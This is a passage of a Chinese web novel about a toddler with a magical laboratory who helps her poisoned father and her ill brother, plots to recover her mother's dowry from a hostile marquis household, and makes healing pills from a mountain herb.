“爹爹,这个哨子,阿沅喜欢,”她举起那枚无声的哨子,眼巴巴地望着孟大川,“能给阿沅玩……”话还没说完,小算盘打得噼啪响。 却换来孟大川一句斩钉截铁、毫无转圜余地的:“不能!” “爹爹……”阿沅笑容蜕变,拖长了声音,小嘴撅得能挂油瓶,五官也委屈地皱成了一团,双手抓住爹爹的臂弯轻轻摇晃,奶声奶气的撒娇攻势全面展开,“好爹爹……就给阿沅嘛……” 孟大川面对女儿的撒娇,心中一软,脸上故意板了起来,但眼神里的温和却藏不住:“这个真不行,此物关系甚大,非孩童玩具。你要用人,爹爹给你安排就是。”语气虽硬,承诺却给了出来。 奶娃娃立刻见好就收,奸计得逞般笑弯了眉眼:“就知道爹爹最好了!”毛茸茸的小脑袋亲昵地蹭了蹭孟大川的下巴,随即又抬起脸,眼中闪着跃跃欲试的光芒,“爹爹,窝要~掏侯府的老窝。”说得一本正经,仿佛在说要去花园摘朵花。 “胡闹!你才多大?”孟大川和柳氏几乎同时出声呵斥。柳氏更是惊得坐上床沿,满脸的不赞同与担忧。 “是神仙姑姑~让窝去哒~”阿沅早有准备,小脖子一梗,理直气壮地搬出“尚方宝剑”,“神仙姑姑说,要去掏回娘亲的嫁妆~不能便宜了那些坏人!”她圆溜溜的黑眼珠咕噜咕噜转着,观察着爹娘的神色,就不信他们敢不听“神仙姑姑”的指示。 果然,夫妻两人闻言同时愣住,对视一眼,脸上都浮现出惊疑不定的神色。 沉默了半晌,孟大川才深吸一口气,妥协道:“……罢了,阿沅暂且可以动用爹爹方才说的那四名暗卫,急用之时,大叫一声‘乌龙’,即可现身。”这已是极大的让步和信任。 “耶!”阿沅立刻在床上蹦了起来,小身子轻盈地跳了几下,床板发出轻微的“嘣嘣”声,她拇指微翘,“爹爹威武!” “只是,”柳氏从震惊中回过神,依旧忧心忡忡,她试图让女儿知难而退,“虽是匆忙,细软和银票能带的都带出来了。库房里剩下的都是笨重的大件家具、摆设,还有布料药材等,即便有四个暗卫,也未必能悄无声息搬出来。”更重要的是,她极度担心阿沅的安全,侯府毕竟不是善地。 “没事儿!”阿沅小手一挥,一副胸有成竹的小模样,“神仙姑姑借给窝一个~大大的房子!” 她两只胖乎乎的手臂尽力张开,划了一个尽可能大的圈,然后小脸一扬,带着一股初生牛犊不怕虎的劲儿,“我要掏他个片~甲~” 她故意卡住,眨巴着大眼睛,再次寻求场外援助。 “嘚嘚,”她看向孟怀瑾。 “片甲不留。”孟怀瑾的嘴巴微微动了动,仍然没有抬头,低低的声音却几乎与她求助的声音同时响起,清晰地在安静的室内回荡。 孟大川眼中瞬间闪过惊愕与难以置信的狂喜,他猛地伸出手,紧紧搂住了身旁因激动而微微颤抖的柳氏的肩膀。 柳氏早已是泪流满面,她捂住嘴,不让自己哭出声来,只是贪婪地看着儿子那依旧低垂却终于再次主动开口的侧脸,仿佛要将他此刻的模样深深镌刻在心里。 看着爹娘的反应,阿沅脸上露出了小狐狸般贼兮兮却又无比可爱的笑容,她老气横秋地对柳氏说:“嘚嘚会慢慢好起来的。”接着又像个小管家婆似的叮嘱,“按时吃柒药,必能好。” 至于柳氏因服药和打击而亏损的身体,要想彻底滋补回来,绝非一日之功,恐怕需要好几年的精心调养。 她实验室眼下可没有现成的人参、鹿茸、阿胶、灵芝这类珍贵补药。这也正是她迫不及待想去“掏空”侯府的原因。 那些本该属于娘亲的嫁妆里,定然少不了这些好东西。拿回来,既解了燃眉之急,也算物归原主。 但是嘛!坏祖母的库房~她还是要走走的,否则出不了那口恶气。 第7章 第一个狗腿子 孟大川身体还是太虚,那药汤灌下去仿佛抽走了他最后一丝气力,整个人软绵绵地陷在厚褥子里,眼皮沉重得掀不开,只含糊地哼了一声,便又昏昏沉沉地躺下了,呼吸轻浅得几乎听不见。 孟怀瑾却又出现了烦躁的状态,这一次虽未再乱抓乱砸,却更令人心焦。 他在屋子里不住地打转,眼神空洞地掠过熟悉的物件,仿佛什么都认不得了,嘴里念念有词,声音时高时低,谁也听不清在说什么,精神恍恍惚惚的,像是被困在了另一个混沌的世界里。 最终被阿沅拿出来的药材,熬制的“安眠汤”降服,勉强灌下去后,挣扎的力道渐渐小了,眼皮也耷拉下来。 红袖和紫衣费力地将他搀扶到侧屋安置下,由红袖寸步不离地看着。 阿沅紧紧搂着娘亲的腰身,把脸埋在那熟悉的、带着淡淡皂角清香的衣料里,这一觉睡得格外沉实,连梦都没有一个。 补眠醒来的时候,只觉得窗外透进来的天光都格外清亮,四肢百骸都舒展开来,精神倍爽。 柳氏一觉起来,也觉得眼皮不再沉重,心口那块压了许久的石头似乎也松动了些。 这是他们到了这偏僻庄子后,睡的唯一一次安稳觉,没有惊惧,没有忧虑,只有相依相偎的温暖。 接近晚饭的时候,院门外终于传来了动静,紫衣风尘仆仆地回来了,身后跟着四个身材结实、手脚粗大的婆子和两个面黄肌瘦的小丫头,回来就梳洗更衣去了。 婆子们看着都是四十出头的年纪,眼神里虽然带着些小心翼翼和讨好的神色,但不像是偷奸耍滑的。也身子骨硬朗,显是能做活的。 几人很快便被安排妥当:一个去守了院门,一个负责浆洗衣物,两个手脚最麻利的直接进了厨房。 那两个小丫头最多不过八岁,长相普普通通,脸上还带着初来乍到的怯懦,换上的新棉衣不太合身。眼神还算干净,跑腿传话、洒扫庭院这些杂活总能应付。 紫衣回到自己屋里匆匆换了身干爽的夹棉衣裙,再过来回话时,先灌了两大碗热茶下去,那被寒风吹得有些发青的脸色才缓过来些,开口禀报: “夫人,镇子上的牙行里人少,能挑的丫鬟更少,模样周正些的早就被挑走了,就这两个看着还算本分老实。” 她和青衣是亲姐妹,当年双亲过世后,族里人欺她们年幼,侵占了家产,姐妹俩无处容身。一个五岁,一个七岁,那年冬天差点冻死在雪地里。 是柳氏心善,把她们捡回来,请医问药,精心养了一个多月才捡回了命。这份恩情,姐妹俩都牢牢刻在心里,只想着报恩。 “到了镇子,奶娘便自行归家去了,按您的吩咐,奴婢另外给周嬷嬷雇了辆稳妥的马车,看着她上车走了。 那几个婆子,奴婢也特意交代了牙人,务必远远地打发了,绝不让她们再有机会靠近这一片。” 紫衣事无巨细地回禀清楚。 青衣这时撩起厚重的棉布门帘进来通传:“夫人,王瘸子来访,人外面候着呢。” 得了允许,庄头王瘸子不多时便乐呵呵地进了堂屋,他走路一高一低,手里拎着的两只褪了毛的老母鸡已经被青衣接过。 他脸上堆满了笑,那笑容挤得一脸褶子都深了几分,恭恭敬敬地朝柳氏行了个礼:“给夫人请安。这两日都没见您院里的婆子过去拿鸡,小的心下惦记,是不是大爷的身子又反复,烧起来了?” 说完,那眼睛还不甚安分地往里屋方向瞟了瞟。 “劳你记挂,还是老样子,药是灌下去了,可总不见起色,人也昏沉的时候多。” 柳氏并不让他坐,只自己斜靠在椅背上,做出神情暗淡、心不在焉的模样,手里捏着帕子,指尖微微发白。 “王爷爷,爹爹快不行了。”阿沅突然抢着答话,声音脆生生的,眼睛却一眨不眨地盯着那人的脸,将他嘴角那几乎难以察觉的、一丝极快掠过的扯动看得分明。 随即她便被娘亲轻轻捂住了嘴,“阿沅,别胡说。” “哎哟,我的小姐,童言无忌,童言无忌!大爷吉人自有天相,一定会好起来的。”王瘸子连忙躬身,语气听着恭敬,眼神却飘忽。 他又转向柳氏,带着几分关切的口吻道:“夫人也莫要太过忧心,仔细自己的身子。听说这老母鸡啊,放点火麻仁一起炖,最是滋补元气,夫人不妨试试,给大爷补补。” “烦庄头挂心了,”柳氏扶着发鬓,眉头微蹙,做出头疼状,眼睫一垂,眼眶便有些湿润了,“他那样子,哪里还吃得下去这些油腻滋补的东西?每日能喂进去几口清粥,我就念佛了。” 雪天里,佃户们大多都窝在自家屋里猫冬,庄子上也没什么紧要事需要汇报,柳氏也摆出一副因丈夫病重而失了心气、不愿多谈的模样。王瘸子讪讪地又说了几句闲话,便告辞走了。 出了院门,他还与那新来的守门婆子站住闲聊了两句,声音不高。 待那“噔噔噔”一轻一重的脚步声远去,竟是比兔子蹿得还快。 阿沅踮起脚尖,小脸贴在冰凉的门缝边,瞅着那道在雪地里略显蹒跚却去势匆匆的背影,小鼻子轻轻哼了一声,低声自语:“第一个露头的狗腿子,记账。” 青衣没一会儿便掀帘进来,低声汇报:“夫人,王瘸子没多说什么,只跟张婆子讲了几句让她尽心伺候主子之类的场面话。临走时,像是漫不经心地问了一句,原来守门的李婆子哪去了? 张婆子还算机灵,按奴婢先前教的话回了,说李婆子家里突然出了点急事,告假几天回城去了。” 第8章 换庄头 阿沅拽了拽柳氏的衣角,仰着小脸。柳氏会意,对青衣吩咐道:“新来的婆子还不熟悉,煮饭煎药这些要紧事,你和紫衣都多上心,仔细看着点,别出了什么差错。”三言两语,便将青衣和紫衣合理地支了出去,屋里只剩母女二人。 “娘亲,‘火麻仁’不好,”阿沅捏住自己的小鼻子,还做了个闭眼皱眉的怪模样,“柒了会难受。” 柳氏眼神倏地一眯,手里捏着的帕子骤然收紧。这庄子是老太太名下的产业,王瘸子的身契也并不在她手上,如今这情形……下一步该怎么做,须得仔细思量,从长计议才行。 晚饭的时候,灶上一直温着的药好像起了作用,孟大川又短暂地醒过来一次。 柳氏亲自坐在床边,一边用小勺细细地喂他喝了几口撇净了油的温热鸡汤,一边柔声地絮絮叨叨说着话,声音低缓,像是在安抚,又像是在传递着什么信息。 阿沅则领着安安静静的哥哥,蹲在屋角背风处,指着砖缝里几只正搬运食物碎屑的蚂蚁,小嘴叭叭地跟哥哥说话。 “…树…动…”孟怀瑾忽然抬起手,指向了院子里那棵枝干遒劲的大榕树。 阿沅顺着他指的方向抬头看了一眼,那榕树高处的细枝在寒风中极轻微地颤动着,若非凝神细看,几乎难以察觉。 知道愿你以后都是安全的,她心里一喜,也为哥哥敏锐的直觉感到高兴。 “嘚嘚,是好人,保护爹爹,保护的的。” 孟怀瑾半懵半懂,跟着学舌,“保护妹妹,保护娘亲。” 柳大川服了女儿调的两剂“半毒半解”药,一直到入夜竟没有再发热,睡得很是安稳。 阿沅像个小大人,歪着脑袋问:“娘亲,爹爹的命算是捡回来了一半?” “是呢!爹爹一定会好起来的。”柳氏脸上只是包含了些许笑意。 阿沅抬眼,看窗外雪停,星子极亮。 那是她前世没见过的干净天空。 这一夜,依然是无梦的安眠。阿沅直睡到明晃晃的阳光透过窗纸照进来,才被红袖从暖和的被窝里捞起来。 “小姐,出大事了!”红袖一边手脚利落地帮她穿着厚厚的棉袄,一边压低了声音,却掩不住话里的惊诧与一丝兴奋,“王瘸子死了,他婆娘也一块儿死了!” “啊?”阿沅刚醒的迷糊劲儿瞬间飞走了一半,眼睛瞪得圆溜溜的,闪着惊疑和好奇的光,耳朵都竖了起来。 “怎么回事?”爹娘这出手的速度——也忒快了些,原来对他们而言,解决两条人命那么容易,母亲应该也没那么羸弱。 枉费她昨晚还打算,今天站在台阶上挺直腰杆,大叫一声“乌龙”,好一睹四个暗卫的神仙功夫。 “听说是昨儿晚上喝醉了酒,不知怎的走到冰河边上,失足掉下去了。他婆娘大概是去找他,想拉他上来,结果两人一块儿溺死了。 今儿一大早在下游的冰窟窿里被人发现,捞上来的时候,王瘸子手里还死死攥着半只没吃完的烧鸡……” “哦!”阿沅的小嘴巴惊讶地张成了一个圆圆的“O”型,能塞下个小鸡蛋了,“那……他的家人呢?孩子什么的?” “哪还有什么家人!他贪墨庄子银钱、欺压佃户的事儿,这一死就被抖落出来了,好几个佃户都站出来指证。 夫人派人去他屋里一搜,好家伙,藏了不少银子呢! 他家里那点人,夫人直接做主,让人牙子来,都远远发卖了。”红袖说得眉飞色舞,竟很是解气的样子,可见这背主的东西,平时也并不得人心。 “那王瘸子,平日里腆着个肚子,满肚子的板油,就不是个好东西。如今淹死了,捞上来都没人同情,佃户们还直说老天开眼。夫人这一下,真是干脆利落!”红袖麻利地给阿沅套上棉裤。 嘿嘿,果然有了爹爹在背后谋划助力,娘亲行事起来,腰杆子都挺得直直的,手段也果断狠辣了不少。这一波动作,真是够快够彻底。 阿沅心里想着,小短腿得意地晃呀晃呀晃,红袖费了好大劲儿才抓稳,帮她套上暖和的毛皮靴子。 “娘亲,”喝着一碗熬得香浓的鸡粥时,阿沅的八卦心思又活络起来,眨巴着眼睛问,“那庄子现在没头儿了,坏祖母那边……还有庄子以后,怎么办呀?” 庄子毕竟是坏祖母名下的,人也是她安排的,如今死了,总得有个说法,庄子里这么多佃户田地,也得有人接手管着。 “不急,距离春种还远着呢!” 柳氏用帕子轻轻擦了擦阿沅的嘴角,语气平静,“过个七八天,等事情再凉一凉,再遣个稳妥的人回府报信便是。 至于接替的庄头……已经安排好了,为人忠厚本分,只是打仗时丢了条胳膊,你们见了他,唤一声林伯伯即可。” 又是爹爹在病中悄然安排的手笔。阿沅越想越觉得心里踏实又高兴,脸颊上甜甜的酒窝深陷下去,仿佛能掐出蜜水来。 只是回侯府,她又多了个想法。 早饭后,孟柒果然准时领进门来六个人,他们鱼贯而入,在堂屋中央站定。 孟柒自己则恭敬地朝柳氏和阿沅、孟怀瑾的方向行了个礼,未多言语,便转身轻手轻脚地往里屋去了,想是去回禀孟大川。 留下的六个人立刻一字排开,站得笔直,一看就是操练过的。 他们目光低垂,神态恭谨,一站定,看见上首坐着的柳氏母子三人,便齐齐“扑通”一声跪倒在地,动作整齐划一,额头触地,声音清晰地说道:“见过夫人,见过少爷、小姐,请主子赐名。” “嘿嘿!绿果果,红豆豆。”阿沅乌溜溜的眼睛最先落在中间那两个年纪最小、头上还梳着双丫圆髻的丫头身上。 她们看起来最多不过十一二岁,一个身量细瘦些,一个脸庞圆润些,身上都穿着利落的束装,只是颜色略有不同,一个是暗红,一个是绛红,在灰扑扑的堂屋里显得格外醒目。 阿沅瞧着有趣,忍不住拍着小手喊起来,声音清脆。 柳氏目光温和地扫过那两个小丫头,又宠溺地看了一眼女儿,便顺着她的心意开口道:“既如此,你们俩便叫绿果和红豆吧。往后就跟在小姐身边,定要尽心尽力,护得小姐周全。” 阿沅见娘亲采纳了自己的“取名”,顿时眉眼弯弯,笑得像月牙儿。看着绿果和红豆语出惊人,“坏人,刀…”小手高高举了起来,“落!” 像是在说切西瓜,表情却是咬牙切齿。两个丫鬟肩头猛地一凛,蓦然抬头。 第9章 她也是有保镖的人了 嘿嘿,她也是有保镖的人了! 这念头像一颗甜滋滋的糖球,在心里滚来滚去,让她忍不住咧开嘴,露出小米粒似的牙。 那感觉,就像突然多了一层看不见的、却厚墩墩软乎乎的盔甲,走路都可以把胸脯挺得更高些。 “是!奴婢绿果(红豆)谢夫人赐名,谢小姐赐名!”两个小丫头并排跪着,声音脆生生的,带着初次应对的微微颤抖,却又掩不住那股从心底里漫上来的、实实在在的欢喜。 她们规规矩矩地磕下头去,再抬起头时,两双眼睛便像被磁石吸住了似的,亮晶晶地只盯着夫人怀里的奶娃娃看。仿佛那粉雕玉琢的小人儿身上藏着什么惊天动地的大秘密,看得又专注又惊奇。 柳氏的目光随即温和地转向旁边另外两个女子。她们年纪约莫二十来岁,同样身着便于行动的窄袖束腰衣裳,只是颜色是更不起眼的深灰色,像是溶进了傍晚时分的薄雾里,衬得人越发沉稳干练,不言不语间自有股利落的气度。 柳氏和声问道,语调如春风拂过水面:“你们二人,可有自己的本名?” 稍年长一点、面容更显坚毅的女子立刻低下头,应答声平稳清晰:“回夫人,奴婢在家时名叫秀姑。” 旁边的女子肩背挺直,紧接着道,声音略低些:“奴婢叫翠莲。” 柳氏略一沉吟,指尖在袖口轻轻一点,便道:“秀姑这名字质朴,便还叫秀姑吧。翠莲……唤作翠姑,听着像姐妹,也顺口些,更合府里的规矩。” 名字不过是个便于使唤的代号,能用、好记便是,她素来不在这等细枝末节上多费思量。 “奴婢谢夫人赐名!”秀姑和翠姑同样恭敬地弯下腰,规规矩矩地磕头谢恩,动作间没有丝毫拖沓。 柳氏招呼他们六人都站了起来,目光便如流水般自然地投向边侧静静侍立的两个少年。 他们约莫十五六岁年纪,身量尚未完全长开,略显单薄,但站姿却如新竹般挺拔,眼神清亮亮的,没有太多杂质,瞧着便让人放心。 柳氏看着他们,又侧头看了眼身侧安静坐着、神情温顺的儿子,直接安排,语气里多了几分不容置疑的托付:“墨竹,纸槐,便是你们二人的名字。竹有节而虚心,槐坚实可依,都是好的寓意。 以后便由你们随身伺候少爷,起居行走,务必仔细谨慎,眼里要有活儿,心里要存着主子的安危,别出了什么差池。” “是!奴才墨竹(纸槐)谢夫人赐名!定不辜负。”两个小厮声音洪亮,带着少年人特有的、未被磨去的朝气。 再次利落地跪地,与其他四人一同谢恩,那齐整的声响里透着股新来的劲儿。 之后,六人才由候在一旁的青衣领着,悄无声息地退出屋子。自是去安排住处,熟悉这院里的一砖一瓦、一草一木。 “娘亲,窝也去!” 阿沅早已按捺不住,连忙伸出小胖手,一把拉住旁边红袖的袖子,蹦蹦跳跳就跟了出去,小揪揪在耳朵两边一甩一甩。 嘿嘿!保镖欸,她心里又乐开了花,脚步都轻快得要飞起来! 一出门,还没等她看清院子里的光景,两边胳肢窝就猛地一紧,被两股稳妥的力道凌空架起,骤然离地。 她的小嘴刚张成圆形,一声短促的惊呼还未出口,就对上了下方两张凑近的、一胖一笑的脸蛋。 正是绿果和红豆。她们眼睛弯成了月牙,异口同声地说,带着点玩闹的雀跃:“小姐,奴婢带您飞,可好?” 阿沅想也不想,就应:“好!”,谁知像只小蝴蝶张开翅膀,三人还真的向前飞。 红袖的脸一下都白了,提着裙子就在后面追,嘴里喊得又急又响,像只受惊的小雀:“哎哟!慢着点!仔细别伤着小姐!要是磕了碰了,我…我跟你们拼命!”她跑得气喘吁吁,是真急了。 被架在半空中的阿沅却很快适应了这新奇的感觉,初时的惊吓变成了刺激,她笑得没心没肺,咯咯声响亮,“哇!太好玩了!再高点儿!”她的小腿还踩着空气蹬了蹬,像极了风火轮。 耳边是呼呼的风声,刮过脸颊凉丝丝的,脚下的灌木丛转眼就成了掠过的绿影,身子轻飘飘的,仿佛真的在飞。 两个丫头脚步轻快,步履交错间,不一会儿就越过了庭院,稳稳地落在了后罩房前的空地上。 好在她们飞得不高,起落也快,只是略略体验了一番,不然阿沅还真怕自己这圆滚滚的身子被不小心摔下去。 晚间,娘亲给爹爹喂晚饭的时候,阿沅嘿咻嘿咻费劲地爬上床沿,小脸因为用力而泛红。她趴在爹爹身边,看着爹爹的眼神亮晶晶的,像是盛满了星星。 “爹爹,窝要习武。”她一字一顿,说得格外认真,小拳头还攥得紧紧的。 “什么?”柳氏闻言,微微一怔,随即失笑,只把它当成了孩子家一时兴起的玩笑话,柔声道,“阿沅还小呢,骨头都是软的。习武可是苦事,等再过两年,娘教你绣花,那才雅致。” “就是,”孟大川靠在枕上,看着眼前白白嫩嫩、仿佛一掐就能出水儿的奶娃子,心里软得一塌糊涂,自然是一万个舍不得。 “习武那是男孩子的事,磕磕碰碰,风吹日晒。我们阿沅是娇娇女,就该被好好娇养着,爹爹看你健健康康、快快乐乐的就好。” “爹爹,不嘛!爹爹……”撒娇小奶娃立刻上线,声音又糯又粘,尾音拉得好长。 站起身,两只小胖手却不含糊,学着听来的样子嘿哈向前比划,虽然毫无章法,但架势十足,“习武!打坏蛋!保护爹爹、娘亲和嘚嘚!”她说得铿锵有力,尽管口齿还有些奶气。 “那…那也得等你再大些,爹爹亲自教阿沅。”孟大川被她那认真的小模样逗得心里发暖,又满是怜爱,话便软了下来。 全然忘了自己如今双腿没有知觉的现实,那拳拳爱女之心已然溢于言表。 “绿果、红豆教!多多吃,快快学,打坏蛋!”小团子见有转机,立刻打蛇随棍上,神情宛如一只乍着毛、跃跃欲试的小狼崽。 挣扎着在床上做了一个扎马步的动作,小屁股往下沉,居然蹲得挺稳,只是身子晃晃悠悠。 “那…那也得慢慢来,千万不能急。”孟大川彻底缴械投降,无奈又宠溺地笑了笑。他转头对柳氏说,语气带着商量:“云娘,阿沅就是随了我。”语气里满是与有荣焉。 “明日你跟两个丫鬟好好说一说,让她们闲暇时教点最简单的拳脚,强身健体便好,万万不可让阿沅累着、伤着。” 再回头看向早已在床上兴奋得蹦跳起来、把床板弄得砰砰响、粉嫩小脸高高扬起来满是得意的小奶团。 孟大川无奈又追加一句,像是要框定一个安全的范围:“还有,早上不许太早起来,你正在长身体,要多睡。晚上也要早早上床,不能熬夜。总之,别累着了我们阿沅,这是顶顶要紧的。” 阿沅的小胖手高高举起,嘴里早就“欧耶,欧耶”地欢叫开了,只要爹爹和娘亲点了头,在她看来便是拿到了许可的金牌。 她才不信柳氏能时时刻刻跟在她后头盯着呢。 刚刚就已经磨着绿果和红豆,在后罩房那,她和红袖已经蹲了一刻钟的马步。虽然膝盖酸酸麻麻,小腿肚子也有些发抖,但她确定自己可以坚持,红袖咬着唇,坚持得比她更久。 她可是打算好了,打完仇人后,还要做回老本行,让高产的种子在这古代生根发芽,让百姓不再挨饿。 在这王法不太健全、没有监控摄像头可以追溯的古代,没有点实实在在的自保能力,怎么敢想那么远、那么好的未来呢? 这武,她是习定了! 第10章 雪上一枝蒿 “小姐又练上了,认真得很。” 秀姑一边整理着床边的药碗,一边轻声对柳氏说,眼角瞥向窗外庭院里那个小小的身影,语气里带着几分怜惜又几分赞叹。 此刻,阿沅正绷着小脸,一板一眼地对着红袖挥动手臂,两人面对打,虽动作稚拙,却透着一股子罕见的执拗劲儿,绿果和红豆只是偶尔提点几句。 “这么勤快?你们可得帮盯着,别练得太过。”柳氏正低头绣着帕子,闻言抬起头,手中针线略略一顿,脸上露出诧异的神色来。 她与孟大川对视一眼,都从对方眼中读到了同样的意外。 原以为阿沅不过是孩童心性,图个新鲜,像往常央求要学弹琴、画画那般,热乎几天也就撂下了,谁曾想这孩子竟一连三日雷打不动,那股子坚持劲儿,倒是真上了心。 “只是早上都不肯起床,吃了早饭又要玩闹一会,接近中午才开始练,晚饭后一个时辰,也扎两刻钟的马步才肯睡。” 翠姑接过话头,她和秀姑每天都要细细将小姐和少爷的起居情形禀报给大爷夫人听:“小姐贪觉,每每要日上三竿才揉着眼睛出房门,可一旦到了院子里,便像换了个人似的。晚间也是,任凭屋里如何暖和、外头如何寒冷,那半个时辰的架势是必定要摆足的。” “小姐不但和红袖练,也会拉着少爷练。”秀姑又添了一句,想起姐弟俩相处的模样,眼底泛出暖意,“少爷性子静,拗不过小姐,便也陪着。只是……” “少爷扎马步还拿本书,”翠姑掩口轻笑,接口道,“两条腿颤颤巍巍地蹲着,手里却捧一本书,眼睛都粘在书页上,每次不翻上几十页,是不肯歇的。” 喝了几天药,加上一日五六餐精细的汤羹粥饭轮流进补,孟大川原本枯槁灰黑、仿佛蒙着一层死气的脸,终于开始泛白,那是一种久病初回,不甚牢靠的白色,像是严冬冰层下隐隐渗出的暖意。 只是他依然瘦得惊人,颧骨高高耸起,眼窝深陷,盖在锦被下的身躯单薄如纸。 最让人心焦的是那双腿,自腰腹以下,依旧是沉沉的一片死寂,任凭他如何凝神使力,柳氏再如何揉搓敲打,也唤不起半分知觉,像是不再属于他一般。 第五天,阿沅吃完早饭,没告诉任何人,径直就往后山跑,小短腿密密扎扎踩在雪地里,行动快了不少。 柳氏后知后觉追了出去:“阿沅!别乱跑,回来!”阿沅反而跑得更快,像只灵活的小兔子。 爹爹双腿必须好起来,越拖越没得救,她自制的解毒药也药效太低,两者都需要更好的药。 前天绿果和红豆带她往山上飞的时候,发现后面山上不远处的石缝里长有一棵药草——雪上一枝蒿,如果能混合她的解毒药材炮制,不但可以解百毒,提纯后内服外敷,可以让筋脉再生,治疗偏瘫也有奇效。 “小姐如此刻苦,我们就陪着她练。” 小姐一动,绿果和红豆也动了起来不过这次并没有架起她飞,而是不远不近跟着,都以为她在逼自己练飞奔。 红袖跟得更紧,同样以为小姐在练,柳氏也是看见那三道身影后,才没再追。 这种时候,她要守在夫君身侧,喂他好好吃药,好好吃饭。至于剩下来的那些“好药”,她都听女儿的——给侯府那帮人留着。 扒开积雪,看见石头缝中傲然挺立的一棵绿植,阿沅冻得发白的脸上出现了光亮:“是它没错。” 只是一双小手拔又拔不起,折又折不断,试了几次,她急了,干脆低下头,俯下身上牙咬。 小米牙咬住用力咬,兼往上扯,脸都憋红了,药草一点都不配合。 “小姐,奴婢来!”已经紧跟身侧的红袖一把拎起她,小心轻放——换自己蹲。 “小姐,您快了不少,害得奴婢好追。”红袖喘着粗气埋怨,说话有点慢,“小姐是要这棵吗?奴婢帮你。” “嗯!就到这里。”阿沅连忙比划刚好持平石缝的位置。 红袖得令双手一拉一拽用尽全力,可是用出的力道太大,手里的药草居然连根拔起,还真是一点都不浪费,最后一屁股躺在了雪地里,四腿八叉。 “哈哈哈……”奶娃娃和小姑娘都笑了,比堆了雪球还开心。 绿果和红豆知道她们开心,只远远看着,却忍不住弯起了嘴角。 红袖看手,又看看叶子。叶子流着浓稠的白色液体,“这东西怕是有毒,奴婢拿回去洗了再给小姐插上。”她傻笑,露出两颗漏风的门牙。 这是误以为小姐要折回去插花,毕竟在冬日里绿植不多。 “红袖,这是好东西,你可别丢弄了。”阿沅小脸认真,“也不能让人抢了,知道吗?” 红袖郑重点头,捡地上一张大点的枯叶,把流着汁液的一头包了,小心地揣进自己怀里,还蹲下抓了一把雪,擦了擦脏污的手掌:“嗯,奴婢记住了。不丢!不给别人抢!看都不能看!” 阿沅嘴角抽了抽,看她流着雪水,又长冻疮的手指,都为她觉得冷,“果然是个傻乎乎的丫头。” 不过胜在忠心,她极需要!她极喜欢! 阿沅站起来,又往山下冲,像只一蹦三跳的小炮仗。 雪更深了,她走得磕磕绊绊,脚印都是歪歪扭扭的。红袖连忙跑上前,蹲下身背着手,再一次托住小姐的小屁股站起来,嘴里还念叨几句:“小姐,您太轻了,以后要多吃饭。” 要是以往,她肯定把小姐抱在怀里往前冲,可现在,她担心毒草沾了小姐的身,只能往背上揽。 阿沅虽然不重,但红袖也没多大,两人加一起走得更慢了,但是红袖也不急,慢悠悠乐呵呵,嘴里一直唠唠叨叨,也不管小姐听不听。 直到到了平地,看红袖确实走不动了,绿果和红豆才上前让小姐下来,但也没带她飞,而是小姐跑,她们追。也算是给小姐今日的习武功课。 第11章 闹鬼 晚上阿沅又进了空间,爹爹和哥哥的药快用完了,还得继续配。最最紧要的是,得尽快提纯炮制出为爹爹所用的新药。 药草的根部她想留着,毕竟这药草现代已经灭绝,也只有医书里才见得着。剪了根部短短一截,埋进了庭院的花圃里,还浇了一壶自来水。 培土和浇水时,她心中默默祈愿,盼这来自异世的根须能在此地焕发生机,为未来留存一丝希望。 精挑出来的药材混合药草,先煎煮三个时辰,再过滤,再浓缩,再提纯,最后做成了大小不一的三小瓶药丸。 过程繁琐而耗神。她守着小小的药炉,看着药汁在炉子里上下翻滚、蒸发、变化。 三个时辰的耐心煎熬后,是细致的过滤,滤除每一丝杂质。接着是蒸馏浓缩,让药力凝聚,再以中医传承中更为精妙的方法反复提纯,直至得到最纯粹的精华。 最终,她将带着特殊光泽的药膏搓成药丸,依着预估的药力强弱,分装进三个不同的小瓷瓶中,瓶身还贴上了她做的简易标记。 她终于顶不住双手酸麻和身体的困意,倒在小隔间的床上,瞬间陷入了深沉的睡眠。 梦里,孟大川站了起来。 梦境如此清晰而快意:爹爹不再是病榻上孱弱无力的模样,他身形挺拔如松,双臂充满力量,稳稳拉开一张需巨力才能撼动的大弓。 箭矢离弦,破空而去,带着雷霆之势,精准地钉入了远方的侯府。 刹那间,哭嚎声、惊呼声四起,熊熊烈火吞噬着那充满仇怨与不公的宅院,火光映红了京城的半边天。 梦中,娘亲紧紧搂着她和哥哥,三人站在高处,望着那片复仇的火海。 她激动得小脸通红,用力拍着手掌,直到掌心传来阵阵刺痛,心中积压的愤恨与委屈化作了最简单直接、带着孩童口齿的呐喊,反复回荡在梦的边际:“烧屎他们!烧屎他们!” “娘亲,柒了好药,爹爹站起来。” 阿沅言简意赅,这一回柳氏没有意外,只是看着那三只莹润如玉的药瓶,眼眶又不由自主地红了起来,泪水在烛光下盈盈打转。 忍不住“噗通”一声跪了下来,朝着门口的方向连连叩首,口中喃喃,跟那位只在女儿话语中出现过的“神仙姑姑”虔诚祷告了一番,感激涕零之情溢于言表。 把三瓶药还有残余的药渣都仔细交给了娘亲,一字一句嘱咐了用法后,阿沅心中那股对侯府的“思念”,骤然变得汹涌而具体。 那不仅仅是想念,更是一种满含着冲动、几乎要破胸而出的决断——她,是时候回去了。 除了担心娘亲那份丰厚的嫁妆会被那些贪婪之人搬空殆尽,更深一层的是,她觉得若让侯府那些人太清闲了,指不定又要开始憋什么阴损的坏主意,对他们一家极为不利。 所以,她又贼兮兮地趴到了爹爹的床头,一双乌溜溜的大眼睛闪着光,嘴角还抿着一丝按捺不住的笑。 “阿沅又憋着什么好主意?”孟大川忍不住伸出手,宠溺地揉了揉她脑袋上那两个可爱的小啾啾,目光里满是纵容与温柔。 “爹爹,暗卫…很厉害?”小家伙仰着脸问,语气里充满期待。 “那是自然,”孟大川胸膛微挺,自豪道,“爹爹手下无弱兵。” “那…神仙姑姑…说,”小家伙欢喜的眼眸滴溜溜一转,仿佛真有那么一位仙人在耳边授计般,压低了声音,神秘兮兮道,“要送份‘大礼’给坏祖母!” “阿沅想如何?”对于女儿这古灵精怪、想要使坏的心思,孟大川显然并不意外,也并未全然归功于那虚无缥缈的“神仙姑姑”。 毕竟,他从妻子口中已听说,女儿要热水浇铸冰人的奇思妙想。 阿沅扑棱着狡黠的大眼睛,理直气壮地说:“她坏,恶人…恶报!”说完,便像只软乎乎的小猫般扑到爹爹身上,搂着他的脖子,两人咬起了耳朵。 那软软糯糯、带着奶香的小身子贴上来,孟大川只觉得心软得都快要化成水了,女儿这般“请求”,哪有不安排妥当的道理。 “几天?”孟大川一脸严肃,握住女儿的小手一再确认。 